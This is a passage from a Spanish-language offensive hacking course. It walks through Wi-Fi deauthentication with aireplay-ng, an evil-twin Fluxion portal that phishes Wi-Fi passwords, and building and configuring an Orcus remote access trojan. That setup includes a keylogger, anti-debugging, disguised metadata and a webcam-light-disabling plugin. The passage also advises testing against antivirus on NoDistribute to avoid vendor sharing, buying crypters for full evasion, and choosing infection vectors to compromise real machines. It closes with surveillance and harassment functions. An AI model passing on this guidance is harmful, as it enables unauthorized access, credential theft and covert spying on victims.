nuestro movil con NetHunter ejecutremos el comando airdoump-ng wlan1mon, para asi
ver los AP que puede encontrar nuestro adaptador externo.
Una vez que hayas encontrado la red objetivo, detienes el ataque con Ctrl + C y abrirs otra
terminal en el dispositivo, en esta nueva se har uso de Aireplay-ng.
Esta es una herramienta de inyeccin de paquetes, lo que quiere decir que puede realizar una
variedad de ataques hacia redes inalmbricas, en este ejemplo se realizar el ataque hacia las
redes INFINITUMyjf4 y ARRIS-7992. En la nueva terminal se ejecutar el siguiente comando:
aireplay-ng -0 15 -a (aqu va el BSSID) -e (Aqu va el ESSID) wlan1mon.
Donde:
Qu fue lo que sucedi? Mediante Aireplay-ng, hemos enviado frames de des autenticacin
hacia el AP y a los clientes de este, como resultado expulsamos a todos los clientes que se
encontraban en la red por los 15 segundos que establecimos, aunque puedes aumentar la
duracin del ataque por un tiempo mayor, sin embargo, el/los clientes podrn conectarse de
inmediato en cuanto paremos el ataque.
NOTA: Habr ocasiones en las que la red objetivo estar operando en un canal distinto al de
nosotros, por lo que habr que asignar dicho canal a la interface de red funcional.
Donde:
WPA y WPA2 son dos algoritmos de seguridad diferentes que se utilizan para proteger las
redes inalmbricas. WPA utiliza TKIP, mientras que WPA2 utiliza tanto (TKIP y AES). Hoy en
da, los routers inalmbricos y Access Points usan un mtodo rpido y sin problemas de
conexin a una red segura. El WPS es una caracterstica que permite una fcil configuracin
de redes seguras; sin embargo, este puede ser fcilmente crackeado u obtenido con las
herramientas adecuadas que tengamos en nuestra distro para pentesting.
Para esto WPA fue diseado para reemplazar a WEP porque con el paso del tiempo se
descubri que los errores de seguridad hacen que sea fcil de obtener acceso no autorizado
en cuestin de minutos. A pesar de que WPA y WPA2 son mucho ms difciles de crackear
o descifrar, es posible para romper la proteccin WPA y hasta el ltimo algoritmo de cifrado
(WPA2).
En la siguiente demostracin el uso de la fuerza bruta no ser el vector de ataque como suele
serlo con muchas herramientas, ahora ser el uso de un AP falso (Fake Honeypot) para la
obtencin del password del AP legtimo, asi no tendremos que esperar horas para encontrar
este password de acceso a la red, solo bastar con la obtencin de un handshake para
conseguir nuestro propsito, aqu es cuando aparece Fluxion.
Qu es y qu hace?
Para hacer uso de Fluxion desde NetHunter, debemos iniciarlo desde su directorio raz, este
se encuentra en /root/fluxion/, y desde ah instalarlo inicializarlo mediante el comando.
5. Luciendo as el entorno grfico de Kali, abriremos una terminal en este, esta se puede
ubicar en la parte inferior de la pantalla en este nuevo panel:
7. Puesto que podemos llevar a cabo las mismas acciones por lnea de comandos tanto en
este entorno grfico como en el comn, podemos acceder a los mismos directorios,
dentro de la terminal navegamos hacia el directorio /root/fluxion/, en donde reside la
herramienta. Dentro ejecutamos el comando bash Installer.sh, este inciar la
instalacin de Fluxion en NetHunter, solo basta con esperar a que termine.
8. Al finalizar, conectaremos nuestra antena inalmbrica al movil mediante el cable OTG,
hecho eso entramos al directorio de nuevo y ejecutamos Fluxion de esta forma
./fluxion, al hacerlo, har el Checking de las dependencias necesarias para su uso, y
ya podremos usarlo:
En esta nueva ventana se mostrarn los AP hallados en el rea por la antena, mostrando en
columnas su BSSID, Intensidad de seal, Beacons, Canal, Tipo de Proteccin, y nombre
de cada uno. Este proceso de Search & Find no se detendr hasta que se cierre la ventana,
por eso la cerraremos despus de identificar la red objetivo para poder continuar en Fluxion.
Volviendo a l veremos estos mismos datos de nuevo, con la diferencia de que aqu se
muestran los AP o redes que muestran actividad (con clientes conectados),
diferencindose con un asterisco al final de estas, aqu seleccionaremos la red vctima:
Luego de esto tendremos que especificar en donde se va a guardar el file con extensin .cap
que contendr el o los Handshakes que se obtengan durante el ataque para usarlos en un
futuro si asi se decide, en este caso dejaremos vaco este campo, puesto que an no tenemos
estos Handshakes:
Al seleccionar esto, comenzar el ataque de expulsin de clientes en la red objetivo, esto con
el fin de que se conecten de nuevo ya sea de forma automtica o voluntaria y as obtener el
Handshake, notars que de las ventanas abiertas habr una donde se muestra el monitoreo
y captura de Handshakes y otra donde se lleva a cabo el ataque deauth, esto con el fin de
darle continuidad a la obtencin de Handshakes:
Al seleccionar la interfaz web, se ocultar la red vctima y se crear un Access Point Falso con
el nombre de la red objetivo, seguido de esto comenzarn varios procesos, entre ellos un FAKE
DNS, en donde todo el trfico que est fluyendo por el AP falso ser redirigido a nuestro movil
mostrndolo en la terminal donde corre este proceso.
Tambin tenemos un Filtro DHCP, este va a capturar todas las solicitudes o requests que
provengan por parte del dispositivo o dispositivos conectados al Access Point, as como
tambin tenemos una terminal en donde se muestra informacin a detalle a cerca del AP Falso
que creamos, y los clientes (dispositivos) que estn conectados a l, en este caso se ha
conectado intencionalmente un dispositivo iOS al Fake AP, por lo que las ventanas o
terminales muestran informacin relevante a ello:
Imgenes 12.7, 12.8, 12.9 y 13.0: Paneles de trabajo de Fluxion.
De lado del movil del cliente (sea un dispositivo Android o iOS) al mostrar las redes
inalmbricas disponibles notaremos que ha desaparecido el identificador de red segura para
la red legtima y se mostrar como abierta, este es nuestro Access Point Falso, al
seleccionarlo se abrir un panel que contendr el Fake Login.
En este portal falso en donde se ingresar la contrasea del AP legtimo. Al crearse este Fake
AP, se mostrar como una red abierta, por lo que al conectarse a ella aparece el Banner de
Recomendacin de Seguridad (en Android no es as)
Una vez que el cliente/los clientes vctima intenten conectarse a la red, se les mostrar el Fake
Login que est trabajando en conjunto con el certificado SSL antes creado, dentro de este
sitio falso o Scam se les pedir el password para poder hacer uso de la red Wi-Fi.
As como tambin el directorio del archivo de salida o output donde se guardan el o los
passwords de la redes crackeadas, el cual es /root/NombreDeLaRed -password.txt:
Habiendo terminado todo, podemos detener y cerrar Fluxion, este al cerrarse, establece la
configuracin previa antes de ser usado o ponerse en marcha, devolviendo los valores
anteriores a varios parmetros de configuracin y dejando las interfaces de red tal cual
antes de haber sido inicializado:
Imagen 13.7: Cierre de Fluxion.
Cabe destacar que el uso de Fake Access Points o Honeypots resulta bastante eficiente
para cumplir propsitos de este tipo, asi como el uso de ingeniera social para persuadir a la
vctima a ingresar a portales falsos, ejemplificando aqu su uso para persuadir a la/las vctimas
a proporcionar contraseas de redes Wi-Fi con tal de seguir navegando en internet.
EXTRA: Como se mostr a lo largo del ejercicio, se vieron involucradas acciones de ataque
tipo Denial of service al montar el Fake AP, esto quiere decir que Fluxion puede hacer un
ataque de tipo deauth haca una red en especfico, aunque esta no sea su finalidad, resulta
til en escenarios como los antes descritos en los ejercicios de DoS, y ms porque Fluxion
automatiza la mayora del proceso, solo basta con seguir los pasos anterior hasta la captura
de los Handshakes o hasta la creacin del AP Falso si es que queremos ver qu dispositivos
se estn expulsando.
Solo bastar con seleccionar la red objetivo y el mtodo de captura de Handshake (mtodo
deauth), siendo mdk3 el ms eficiente:
Imagen 13.8, 13.9 y 14.0: DoS hacia una red mediante Fluxion.
Administracin remota mediante
RATs (Troyanos de Acceso
Remoto).
Siendo estos potencialmente peligrosos para muchos sistemas informticos, los RATs (Remote
Access Trojans) por su traduccin al ingls, son piezas de software que nos permiten llevar a
cabo una infeccin mayormente perjudicial, consiguiendo as acceso no autorizado al ordenador
de la vctima, abrindonos la puerta para poder realizar tareas de monitoreo (surveillance), robo
de informacin sensible, como lo son passwords, informacin personal, tarjetas de crdito, etc.
Los RATs tienen el potencial de recolectar sumas cantidades de informacin de varios equipos
o personas, por lo que si un equipo ha sido infectado por algn software de este tipo, toda o mucha
informacin personal que se encuentre dentro de este habr sido comprometida.
Los RATs tambin tienen su lugar en el mundo laboral o corporativo, ya sea que eres
administrador o jefe de sistemas, o de algn rea en especfico y estas a cargo de ciertos equipos
y las polticas del trabajo mencionan que el personal est sujeto a monitoreo constante en horas
laborales, este tipo de herramientas de administracin remota pueden ser tu solucin, ya que
pueden ser utilizadas para revisin constante de las tareas que se llevan a cabo en el quipo
mientras el personal lo usa.
Cmo difieren los RATs de otros troyanos?
La diferencia clave entre keyloggers, troyanos y dems malware de uso local, es que un RAT nos
permite tomar acceso hacia la maquina victima mediante especiales protocolos de
comunicacin que son configurados como parte de la infeccin inicial en el equipo objetivo. Esta
puerta trasera o Backdoor permite el acceso sin restricciones dentro del equipo vctima,
consiguiendo as el monitoreo de esta persona o el del equipo, hacer keyloggin, explorar
archivos, cambiar configuraciones, hacer uso de la conexin a internet o ancho de banda de este
ordenador para actividades ilcitas, convertir esta mquina en un zombie para hacer un ataque
DDos, y mucho ms.
En este captulo se ejemplificar el uso y funciones de diferentes troyanos de acceso remoto, estos
sern Orcus y Luminosity Link, siendo estos unos de uso recomendable, puesto a que cuentan
con extenso repertorio de funciones para llevar a cabo tareas de post-explotacin y que ofrecen
una estabilidad mayor a diferencia de otros RATs o herramientas de administracin remota.
Comenzando nuestra aproximacin.
Como se mencion antes los RATs son herramientas diseadas con la finalidad de ejecutar
acciones especficas va remota y tener privilegios administrativos superiores, puesto a que
tienen una extensa capacidad de ejercer control y acciones (algunos RATs, no todos). Gracias
esto, este tipo de software es utilizado con fines malintencionados por ello, son catalogados como
malware.
Dentro del material proporcionado para el captulo 2, encontrars los 2 primeros elementos para
trabajar con esto.
NOTA: Las pruebas documentadas a lo largo de este captulo se realizaron en un servidor privado
virtual (VPS), mediante el acceso por escritorio remoto, por lo que si deseas alquilar algn VPS
para hacer estas pruebas sin tener que usar el RAT desde tu sistema operativo nativo, puedes
hacerlo de esta forma, o puedes trabajarlo desde las mquinas virtuales con Windows
proporcionadas.
Configuracin de un RAT.
Una vez estando en el equipo Windows, copiamos el contenido de la carpeta Orcus hacia esta,
hecho eso abriremos Orcus.
Imagen 14.2 y 14.3: Ubicacin de herramienta, panel de Conexin y opcin para crear un nuevo servidor.
Al abrirse lo primero que se mostrar ser este panel para poder conectarse a un servidor, una
ventaja que tiene Orcus es que a donde lo lleves se conectar al server que fue creado, solo
basta con ingresar la direccin IP, puerto correspondiente y password proporcionados, esto lo
haremos con posterioridad, por ello, primero debemos crear el server antes mencionado, esto
desde la opcin remarcada Create new server:
En esta nueva ventana ingresaremos la direccin IP correspondiente, en este caso hablamos del
equipo Windows que est en uso, otra ventaja de Orcus es que te permite crear un servidor con
las direcciones IP que requieras, en este caso solo usaremos una, tambin asignaremos un
puerto que se encuentre abierto en el equipo, uno comn es el 80, que es donde corre el servicio
HTTP, aunque puedes escoger otro puerto (abierto).
Al tener los datos necesarios pulsaremos ADD para agregarlos a la lista del Server, es
importante esto, ya que sin ello el server creado no tendr utilidad alguna, terminado eso,
ingresaremos un password, este password servir como factor de autenticacin para iniciar
nuestro trabajo con la plataforma de Orcus, cabe destacar que cada que genere un server, ser
necesario proporcionarle un password, ya que con este ingresaremos al panel de trabajo de
Orcus, hecho esto escogeremos que trabajaremos sobre la interfaz grfica (GUI) de Orcus, con
esto ltimo listo, crearemos el Server con BUILD, al hacerlo nos preguntar en donde vamos a
guardarlo, al momento de crearse, ORCUS hace una nueva carpeta en su directorio
nombrada server, que ser donde la guardaremos, hecho esto, abrimos el archivo
Orcus.server:
Imagen 14.5 y 14.6: Seleccin de interfaz para configuracin y generacin de archivo de configuracin para el server.
Imagen 14.8 y 14.9: Conexin a servidor y panel de administracin con opcin Build.
Estando en la plataforma, a simple vista podremos notar que este software cuenta con mltiples
funciones, pero en realidad tiene ms de lo que puedes imaginar y explicar todas y cada una de
estas, as como todo el funcionamiento y modo de uso del RAT tomara un libro completo, por lo
que veremos las acciones ms importantes. Para poder crear nuestro cliente (binario/troyano)
usaremos la opcin Build que la parte superior izqda. de la ventana.
Dentro nos toparemos con una serie de pasos/protocolos de creacin para este binario, siendo
el primero la configuracin general (General Settings), en donde se especifica el grupo
identificador de clientes (Tag), el Mutex que es para establecer que una sola instancia del cliente
corra en el sistema, este puede dejar tal cual o generar de forma aleatorio (random), el Keylogger,
es recomendable dejarlo habilitado, y los privilegios, habilitar esta opcin hace que al momento
de la ejecucin del binario se adquieran privilegios administrativos:
Imagen 15.0: Configuraciones generales.
El segundo paso ser establecer los parmetros de configuracin de la conexin, en esta parte
solo aadiremos la direccin IP y puerto previamente asignados al servidor (Nosotros), para
establecerlos solo presionamos en ADD, es importante hacerlo, de lo contrario no servir nuestro
troyano:
El tercer paso es configurar las medidas de proteccin para el binario a crear, en esta nueva
ventana tendremos mltiples parmetros opcionales en donde podrs personalizar estos
parmetros a tu gusto, de las 3 opciones solo estarn las 2 primeras habilitadas por default en
este ejemplo deshabilitaremos la primera puesto a que este binario lo ejecutaremos en una
mquina virtual. Por lo que solo utilizaremos la segunda opcin, para hacer que una tcnica
Anti-Debugging acompae al binario:
El paso numero 4 ser configurar la instalacin del cliente (binario), aqu nos proveen de
mltiples opciones de configuracin, como lo es el lugar/directorio raz donde residir el
cliente/troyano, si queremos ocultarlo de ah, cambiar la fecha de creacin de este, forzar la
obtencin de privilegios administrativos al momento de la instalacin, el auto-inicio del mismo
y el nombre con el que se identificar:
Imagen 15.3: Apartado de instalacin.
El quinto paso (Opcional) ser aadir informacin del ensamblaje o produccin del software, aqu
podemos aadir informacin adicional a nuestro binario, como es el nombre, compaa,
producto, versin de este, copyright y dems detalles que lo pueden hacer lucir como una pieza
de software legtimo y confiable, en este caso se ingresaron los siguientes datos, solo es necesario
habilitar la opcin Change Assembly Information, o si se tiene esta informacin lista en un
archivo, solo se carga desde la opcin LOAD FROM FILE:
El paso numero 6 ser la adicin de Plugins, estos nos sirven para agregar funciones extra con
el fin de proporcionar cierto apoyo a las tareas de post-explotacin/monitoreo, como lo es en
este caso el no encender la luz de la Webcam al momento de acceder a esta.
NOTA: Este plugin solo funciona en ciertos componentes de hardware (laptops), por lo que no
puede funcionar en otros, sin embargo no est de ms tomarlo en cuenta:
Opcional: Si se quiere cambiar el icono del binario podemos escogerlo desde la opcin Change
Icon.
Lo que significa que la forma de conseguir la infeccin con este ejecutable es que nosotros mismos lo
hagamos llegar al equipo vctima, desactivar protecciones, y ejecutarlo, o convencer a una persona
bastante ignorante para que haga todo esto (idea absurda). Pero antes de que intentemos esto habr
que saber que tan amenazante resulta este binario.
Esto lo sabremos mediante plataformas de escaneo online, estas resultan bastante tiles al
momento de realizar este tipo de pruebas/ataques. El modo en el que funcionan es bastante simple,
en esta plataforma se hospedan mltiples computadoras cargadas con los diferente software de
proteccin (antivirus), en donde al momento de cargar nuestra muestra de software/malware ser
analizado por todos estos antivirus (35), al terminar este proceso se mostrar un resumen de los
resultados indicando detalles como el ndice de deteccin, MD5 y los antivirus que encontraron esta
muestra perjudicial y los que no encontraron nada. En este ejemplo utilizaremos la plataforma de
NoDistribute, visitando https://nodistribute.com/. Formatted: Default Paragraph Font, Font: (Default)
+Body (Calibri), 10 pt, (Asian) Japanese
IMPORTANTE 1: NoDistribute (como su nombre lo indica) no distribuye las muestras enviadas ni
tampoco los resultados obtenidos, ya que es comn que otras plataformas como
https://www.virustotal.com/ distribuyan estos resultados a las casas antivirus, lo que resulta perjudicial Formatted: Default Paragraph Font, Font: (Default)
para nosotros porque as estas tendrn en sus bases de datos el cdigo que compone a este software, +Body (Calibri), 10 pt, (Asian) Japanese
por lo que costar ms trabajo lograr la evasin de antivirus (FUD) para nuestro malware, por lo que
es altamente recomendable utilizar solamente esta plataforma.
Al ingresar al sitio web, cargar nuestra primera muestra de malware y enviarla, los resultados
aparecern mostrando los detalles anteriormente mencionados:
Lo que quiere decir que el mtodo de evasin de todos o ciertos antivirus ya no es funcional, por
lo que habr que encontrar otra forma de lograrlo, la solucin ms comn para esto es comprar
un crypter privado, existen varios y diferentes sitios/medios para conseguirlos, pero queda bajo
tu responsabilidad la forma en que lo compres (o intentes) puesto a que hay mucho fraude en
cuanto a la venta de software de este tipo, por lo que te recomiendo tener muchsimo cuidado y
ser precavido en los sitios donde vayas a querer comprar o intentar comprar algo, ya sea mediante
PayPal, Bitcoin o algn otro mtodo de pago.
Volviendo al troyano y los cambios a realizarle, durante este ejemplo haremos uso de un Crypter,
existen muchos de estos, unos ms completos/complejos que otros, sin embargo todos tienen una
finalidad u objetivo en comn; conseguir cifrar archivos o tratar de hacer FUD (Full
Undetectable) algn, bloque de cdigo, script, binario o ejecutable con el fin de conseguir la
evasin de sistemas de proteccin informticos, esto puede conseguirse mediante diferentes
tcnicas, ya sea mediante la ofuscacin del cdigo y sus componentes del binario, mediante
alguna tcnica Anti-Debugging, entre otras.
En este ejemplo utilizaremos un Crypter llamado Masked Crypter, este viene dentro del material
proporcionado para este captulo y ser nuestra herramienta para brindarle a nuestro binario las
caractersticas ya mencionadas, abrirs la aplicacin y seguirs los siguientes pasos:
Dentro de Masked Crypter, habr 3 campos importantes; el que har el Browsing del archivo a
realizar Modding, otro que har Browsing de un icono para este, ya que es obligatorio y otro
que es un generador de caracteres aleatorios proporcionando as un Mutex, puede generar
cuantos quieras y escoger solo uno. En cada campo haremos la accin correspondiente.
Del lado derecho nos encontramos con un pequeo panel de opciones para realizar el Modding
con el Crypter, de las cuales solamente escogeremos la primera, tercera y quinta opcin.
De las opciones seleccionadas; Remove Zone ID nos permite hacer bypass al recuadro pop-
up que aparece al momento de correr un .exe, Pack With UPX consigue una excelente relacin
de compresin y ofrece una descompresin muy rpida, asi el binario no sufrir ninguna
sobrecarga de memoria u otros inconvenientes, adems de que ayuda a ofuscar el cdigo,
y .NET Support nos proporciona ciertos bloques de cdigo para conseguir compatibilidad
con .NET, y por ultimo hacemos clic en Crypt, para realizar el Modding del binario y guardarlo
con las caractersticas anteriores, obvio podrs cambiarle el nombre con posterioridad:
Imagen 15.9: Configuracin de crypter para el binario.
Teniendo compilado este troyano, es momento de hacerlo llegar al equipo que se quiere administrar
de forma remota, en este caso hablamos de la VM con Windows, como ya se sabe, estamos usando
un ambiente controlado en esta prueba, por lo que solo se transferir el binario y se ejecutar
manualmente.
NOTA: Para esto hay mltiples y diversas formas de infeccin, ya sea mediante correo electrnico,
binders, ingeniera social, entre otras, por lo que estar a tu eleccin el vector de infeccin por el que
en un futuro logres conseguir comprometer algn equipo real.
Teniendo el binario en el equipo vctima se ejecutar, y a simple vista no ocurrir nada, solo un ligero
resalte en el brillo del cono de binario al momento de correrlo.
En el panel principal de Orcus tambin se est indicando todo esto es en la barra de monitoreo; la
conexin establecida en Orcus y la conexin encontrada de un nuevo cliente (victima).
Debajo de ella encontrremos detalles de esta accin como lo es la hora, sistema operativo,
Username (nombre con el que se identifica el Host), sistema operativo y pas si es posible obtener
este dato. Para poder trabajar con este nuevo cliente, debemos hacer clic derecho en su seleccin y
entrar mediante Log In, al hacerlo notremos ms actividad en la barra de monitoreo:
Una vez accedido al equipo mediante esta funcin, entraremos al panel de trabajo del cliente en
Orcus, en donde veremos una diversidad de funciones y acciones que se pueden llevar a cabo
en/sobre este cliente, puesto a que hay muchsimas de estas funciones, habra que escribir uno o
dos captulos sobre el total uso de ellas, por ello, solo veremos las ms interesantes.
Lo primero qu notremos ser la categora CLIENT, situndonos en el sub-panel Control
donde encontrremos detalles ms especficos sobre el S.O del cliente, como lo es la version del
Framework de .NET, tiempo activo desde la primera vez comprometido, directorio raz del
troyano, adems de la opciones de desinstalar el troyano o solo matar esta conexin, etc:
Dentro del sub-panel Config nos toparemos con la configuracin que reside en el cliente, est
no tiene que ver precisamente con la configuracion que se halla en el equipo infectado, sino de la
de nuestro binario/cliente, presentndonos un resumen o Summary acerca de las caractersticas
de este, notaremos que se hallan todas las que estuvieron involucradas en la parte del Builder:
Pasando a otra categora, Information nos permite saber detalles ms precisos sobre el uso de
est equipo, como lo son las conexiones existentes o activas entre cliente y servidor, la captura de
passwords y cookies en el equipo cliente y el monitoreo del rendimiento. El Summary de las
conexiones activas puede resultar muy til si se piensa llevar una bitcora o si se desea revisar
ciertos parmetros aqu encontrremos esta informacin, indicando el proceso, las direcciones
locales y remotas sobre las que se establezca esta conexin, el protocolo y el estatus de esta, y
por su puesto los datos de esta accin en la barra de monitoreo:
Imagen 16.9 y 17.0: Conexiones activa, proceso y dems detalles sobre esto en el equipo ajeno.
Por otro lado tenemos la funcin Performance dentro podemos hallar info acerca del rendimiento
del equipo, como lo es el % del uso del procesador mostrando un grfico de ello, modelo y
velocidad del procesador nmero de hilos o Threads, procesos que corren actualmente, tiempo
activo y dems.
Muchas funciones de los sub-paneles habr que habilitarlas mediante el switch Azul del lado
derecho, de lo contrario no podrs hacer uso de ellas:
Dejando un poco atrs los detalles sobre el cliente, pasemos a algo ms interesante y entretenido,
como es de esperarse, herramientas como los RATs puede hacer un sinfn de cosas, sin embargo,
no est de ms mencionar que hay unos que estn mucho ms completos que otros por
cualquier lado que los veamos, y Orcus no es la excepcin aqu.
Dentro de las categoras de funciones nos topamos con Fun (diversin), esta cuenta con
funciones que se llevan el ttulo como su categora lo indica, aqu es donde podemos tomar
acciones algo perjudiciales como molestas para el usuario, sin embargo tienen utilidad en
casos reales de monitoreo y espionaje.
Como primer ejemplo de uso, cabe mencionar que muchos RATs no cuentan con esta funcin, y
Orcus la trae consigo, abriremos con la funcin que nos permite enviar/reproducir un dictado
con distintas voces (masculinas/femeninas) en el equipo cliente/victima, solo basta con teclear
el texto a dictar, seleccionar la voz, velocidad de reproduccin y volumen y enviarlo con SEND.
Comnmente esto es usado con el fin de causar molestias al usuario, o en casos de monitoreo en
un lugar de trabajo el administrador lo usa para dar avisos o notificaciones ms a detalle o
personales al usuario/cliente.
Otra funcin con la que cuentan casi todos los RATs es la de un Chat Box, y Orcus (obviamente)
cuenta con una ms completa que los dems, en donde lejos de enviar un simple recuadro para
transferir mensajes, te ofrece muchas ms funciones para poder trabajar sobre ello.
Entre ellas esta el poder colocar el ttulo de la ventana, el nombre o nickname (tuyo), evitar que se
cierre, maximizarla permanentemente y minimizar las dems ventanas cuando aparezca este Chat
Box, para poder usar esta funcin debers habilitar esta funcin con el Switch Azul del lado
derecho, en la siguiente pgina encontrars su modo de uso, consulta las imgenes:
Imagen 18.2 18.4: Funciones de categora Comn y sitio web abierto por indicacin remota.
Tambin se puede podemos crear Reminders (Notas), con un texto en especfico, lo que har
esto simplemente ser abrir un bloc de notas con el texto enviado, solo basta con escribirlo y
enviarlo con Send. Una funcin ms en la categora User Interaction es que podemos crear
notificaciones o tips mediante un globo (Ballon), ya sea de tipo aviso, info, recordatorio, alerta,
etc, obviamente con el ttulo y texto que queramos poner durante el tiempo establecido en
milisegundos, en este caso 10,000:
Imagen 18.5 18.7: Funcin de Globo de aviso y accin guardada en el Log.
Otras funciones tiles en casos en los que el administrador/atacante no tenga nada que hacer son las
siguientes, de las cuales se puede sacar fcilmente de quicio a alguien, la primer funcin (Rotate
Monitor) es bastante simple, cambia la posicin del monitor en los grados disponibles, el detalle es
que no funciona en ambientes virtualizados ya hay recursos que no pueden compartir o migrar del
sistema nativo al virtual, como lo es la tarjeta de grficos, en cambio s se intenta en un equipo real,
funcionar a la perfeccin.
En cambio, Pure Evilness, nos da un poco ms de diversin sin mayor problema, aqu nos
encontramos con 2 botones, LET IT BURN y WATER, WATER!, la primera hace que esto comience
y la otra lo detiene, solo lo detiene, no lo repara.
Qu es lo que ha pasado? Lo que hace esta divertida pero desquiciante funcin es, tomar un
Screenshot del Desktop, rotar la imagen 180 y establecerlo como wallpaper, luego esconder la
barra de tareas e conos, as el usuario creer que la barra de arriba es funcional, pero en realidad
es una imagen, limitando bastante al usuario en cuestiones de funcionalidad. Al momento de
detener esto aparecer la barra de nuevo y se colocar en su lugar, con el detalle que el escritorio
esta hecho un asco.
De las funciones vistas hasta ahora en la categora Fun, en lo personal mi preferida es esta, as
que pasemos a algo ms divertido (y puede que muy perjudicial/peligroso).
El uso del Screamer, es una divertida funcin hace que en milisegundos se bloque el equipo y
en pantalla completa aparezca una animacin con gritos de fondo y a un volumen demasiado alto
en donde se muestra un rostro algo bizarro y la nica forma de detenerlo es con la combinacin
simultnea de teclas Ctrl + Shift + V.
Esto puede resultar en algo grave asi que te recomiendo al menos ser selectivo con quienes la
usas/usars, adems de que Orcus te da una advertencia de ello, el uso de esto queda bajo tu
propia responsabilidad:
Imagen 19.3, 19.4 y 19.5: Inicio, funcin y detencin de Screamer.
Otras funciones que se pueden llevar a cabo dentro de esta misma categora son las que pueden
hacer simples pero molestos cambios sobre el sistema, como lo es deshabilitar y habilitar el
administrador de tareas (Task Manager), esconder o mostrar el reloj y escritorio.
Tambin hay otras que te permiten interactuar con el Hardware del cliente, como lo es el teclado
y mouse, haciendo que este se mueva de forma errtica o se bloque por N segundos, o cambiar
el input del teclado (QWERTY por AEIOU y viceversa entre otros), obvio esto no se puede
mostrar de forma adecuada con imgenes, en cambio, si estas acciones se llevan a cabo con
xito, se mostraran en la barra de monitoreo:
Imagen 19.6 y 19.7: Funcione sobre la barra de tareas del equipo ajeno.
Como se demostr en los ejemplos anteriores, la categora Fun de Orcus cuenta con una vasta
diversidad de tiles funciones y caractersticas Divertidas que hacen que se ejerzan con
facilidad mltiples acciones de este tipo sobre el equipo cliente, desde abrir cuadros de dilogo,
avisos, y cosas molestas de ese tipo, hasta poder conseguir el Crashing del sistema o
Congelarlo (HANG), dejndolo inhbil temporalmente, todo desde una solo plataforma de
trabajo (Como tambin lo ser en las otras categoras)
Dejando atrs la parte de juegos, pasaremos a una categora ms funcional y til para nuestro
propsito, que es el ejercer control sobre el equipo cliente, aqu es cuando pasamos a la categora
SYSTEM.
Sobre esta, se pueden llevar a cabo cosas interesantes, como la ejecucin remota de cdigo
(muy perjudicial), hacernos de una consola sobre el cliente, explorar registros, explorar archivos
con el fin de solo verlos, o descargar o cargar algo al equipo (muchas posibilidades), interactuar
ms a fondo con los programas existentes en el equipo vctima y muchas otras cosas, y por ello,
antes de continuar con otra categora, habr trabajo por hacer aqu.
La segunda funcin que encontraremos aqu es la de Console, no hace falta una larga
explicacin sobre esta, ya que solo nos proporciona una terminal de comandos CMD sobre
el cliente desde esta plataforma, solo basta con habilitarla y ejecutar los comandos que quieras,
en este ejemplo se ejecut el comando dir:
En Event Log es bsicamente un libro de registros que puede ser analizado con fines de obtener
un nivel superior de inteligencia (informacin) en la red, como pueden ser sucesos en
aplicaciones, errores en estas, procesos, y ms detalles a fondo sobre estos registros.
En redes o networking una forma de apoyo para poder proveer informacin detallada sobre
ciertos registros, parmetros o Usage en la red o equipo es el Event Log. Este almacena los
datos anteriores o semejantes a estos, con el fin de que sea posteriormente consultado por
administradores de sistemas, sistemas de seguridad o por profesionales en seguridad.
Todo esto es con el fin de manejar distintos aspectos como, performance (rendimiento) o seguridad
y transparencia, hay herramientas como analizadores o visualizadores de registro de eventos
(como el que veremos).
Para esto solo basta con abrir el sub-panel File Explorer, seleccionar la particin o disco
correspondiente y buscar el o los directorios sobre los resultados que se muestren en la tabla, si
se quiere trabajar sobre un dicho directorio solo basta con hacer clic derecho en el para seleccionar
una accin sobre l, en este caso ser la descarga de un directorio, mostrando una columna del
status y progreso de la o las descargas que se estn llevando a cabo, al terminar estas, en el
directorio raz de Orcus se crear una carpeta nombrada Downloads. Consulta las imgenes:
Imagen 20.0, 20.1 y 20.2: Bsqueda y descarga de archivos ajenos del equipo infectado.
Algo ms a lo que podemos sacar ventaja son las descargas forzadas, es decir, obligar al cliente
a realizar una descarga en especfico, desde una imagen hasta algn archivo ms perjudicial,
esto se puede llevar a cabo desde el sub-panel Internet, en donde podemos ingresar una URL
determinada y realizar esta descarga, adems de que podemos hacerlo en masa o
simultneamente:
Hasta ahora hemos explorado algunas de las categoras ms funcionales de Orcus y le hemos
sacado provecho al asunto, ahora es momento de pasar a la que ms nos interesa, que es la de
monitoreo o surveillance (vigilancia).
Como es de esperarse en Orcus, tanto las categoras como las funciones de cada una han sido
bastante eficientes y tiles, y obviamente la que estamos por ver no ser la excepcin. Aqu es en
donde entramos de lleno a fase de vigilancia o espionaje, ya que estas acciones lejos de
permitirnos leer conversaciones, encontrar patrones de bsquedas en navegadores web, tomar
capturas de pantalla, etc.
Esto puede llevarse ms lejos llegando a lo que se conoce como espionaje corporativo, en donde
se puede obtener informacin acerca de escritos, descargar informacin importante que incluso
puede estar clasificada, ya que ocurra esto es demasiado comn en el mundo corporativo o
laborar.
Cabe mencionar que esta fase se puede llevar a cabo en distintas formas o rutinas, no
necesariamente como se presentar aqu, ya que si has estas familiarizado con herramientas de
este tipo o algn trabajo similar, podrs adaptarlo al uso con Orcus si as lo prefieres.
Dentro de la Categora Surveillance, nos encontrremos con 4 funciones de monitoreo en
tiempo real:
Live Keylogger.
Microphone Recorder.
Screen.
Webcam.
Cada una de estas nos provee de funciones distintas que resultan bastante tiles para este trabajo,
comencemos por Keylogger. A lo largo del libro COISP nivel 1 se habla sobre estas
herramientas, sin embargo no se toca a detalle su uso mediante RATs o administracin remota,
estos pueden funcionar de forma local dentro de un mismo segmento de red o de forma
distante o remota, que es la manera en la que est por llevarse a cabo.
Estos tienen una sola finalidad, capturar los caracteres presionados y guardarlos para
posteriormente ser vistos o enviar esta informacin en tiempo real como lo veremos aqu. Hay
keyloggers muy simples que solo capturan el texto conseguido por las teclas presionadas, hasta
unos con un nivel de complejidad mayor o demasiado completos que capturan todos los caracteres
obtenidos durante la interaccin con el medio HID (Teclado).
Esto con la finalidad de mostrar detalles que nos pueden ser muy tiles en esta accin de
espionaje, como puede ser el sitio web en donde se tecleo esto, el programa sobre el cual se
teclearon estos caracteres, el campo sobre el cual fue ingresada esta info y muchas cosas ms,
esto se debe a que el cdigo que constituye este tipo de Keyloggers trabaja a un nivel inferior o
ms bajo, por ende, la obtencin de todo lo anterior, una cosa muy ventajosa es que adems de
todas las funciones antes descritas, estos Keyloggers evitan el LAG o retraso durante la captura
y envo de info as evitando la perdida de la misma, y por supuesto Orcus lo trae consigo.
La primer funcin o sub-panel con el que nos toparemos ser el de Live Keylogger, lo
seleccionamos y solo basta con activarlo mediante el ya conocido Switch en la parte superior,
una vez habilitado aparecer la accin en la barra de monitoreo y en el recuadro del Keylogger
